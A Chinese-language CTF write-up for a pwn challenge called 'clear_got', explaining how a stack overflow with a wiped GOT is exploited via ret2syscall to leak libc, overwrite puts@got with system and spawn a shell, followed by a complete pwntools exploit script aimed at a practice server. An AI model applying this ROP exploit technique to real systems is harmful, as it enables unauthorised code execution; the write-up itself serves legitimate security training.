oin

writeup


clear_got

<p>[TOC]</p> <h1>分析</h1> <p><img src="https://pic.imgdb.cn/item/63ae7fe708b68301630b8cd1.png" alt="" />  </p> <p>主要逻辑很简单,就是一个溢出,但是把got表给清空了,这就导致我们无法调用函数</p> <p><img src="https://pic.imgdb.cn/item/63ae803208b68301630c13a8.png" alt="" />  </p> <p>但是题目中给了syscall,那就可以采用ret2syscall的方式来完成攻击,main函数里清除了除了 <code>__libc_start_main</code> 的内容,而且bss段里还有stdout之类的存储着libc地址,我们可以利用这里的write系统调用来泄露,主要考虑的是泄露完成后的操作。一次写入肯定不够,所以要想办法构造read的系统调用,最主要的就是如何将rax置0</p> <p><img src="https://pic.imgdb.cn/item/63ae814808b68301630df42d.png" alt="" />  </p> <p>main函数的最后几条语句就将rax置0了,但是要注意leave指令的问题,我们第一次如果覆盖了rbp为任意值,这里再一次leave就会造成栈迁移,很凑巧的是end2的 <code>push rbp; mov rbp, rsp</code> 可以弥补这个问题,按照正常的流程end2其实是不能正常返回的,只能ret rbp,就会直接报错,但是我们在溢出覆盖的时候将rbp覆盖为eax置0处,end2就会返回去执行,同时这时候rbp是push ebp后的位置,ret后可以完美运行接下来的ROP</p> <p>我们构造出read主要是为了向puts@got写入system地址并同时写入“/bin/sh”,在ROP的结尾构造即read执行完后执行puts(“/bin/sh”)即可获取到shell</p> <h1>Exploit</h1> <pre><code>from pwn import* from LibcSearcher import* # o = process("./pwn") o = remote('node4.buuoj.cn', '28711') pop_rdi = 0x00000000004007f3 pop_rsi_r15 = 0x00000000004007f1 libc_start_main_got = 0x601040 write_syscall = 0x400773 mov_eax = 0x40075C got = 0x601008 payload = 'a'*0x60 + p64(mov_eax) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(libc_start_main_got) + p64(0) + p64(write_syscall) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(got) + p64(0) + p64(write_syscall+0xb) + p64(pop_rdi) + p64(0x601018+8) + p64(0x40071E) o.recv() o.sendline(payload) libc_start_main = u64(o.recv(6)+"\x00\x00") libc = LibcSearcher("__libc_start_main", libc_start_main) libc_base = libc_start_main - libc.dump("__libc_start_main") log.info("libc_base: %x", libc_base) system = libc_base + libc.dump("system") payload = p64(system)*3 + "/bin/sh\x00" o.sendline(payload) o.interactive() </code></pre> <p><img src="https://pic.imgdb.cn/item/63ae941808b68301632dc08b.png" alt="" /></p>

页面列表

ITEM_HTML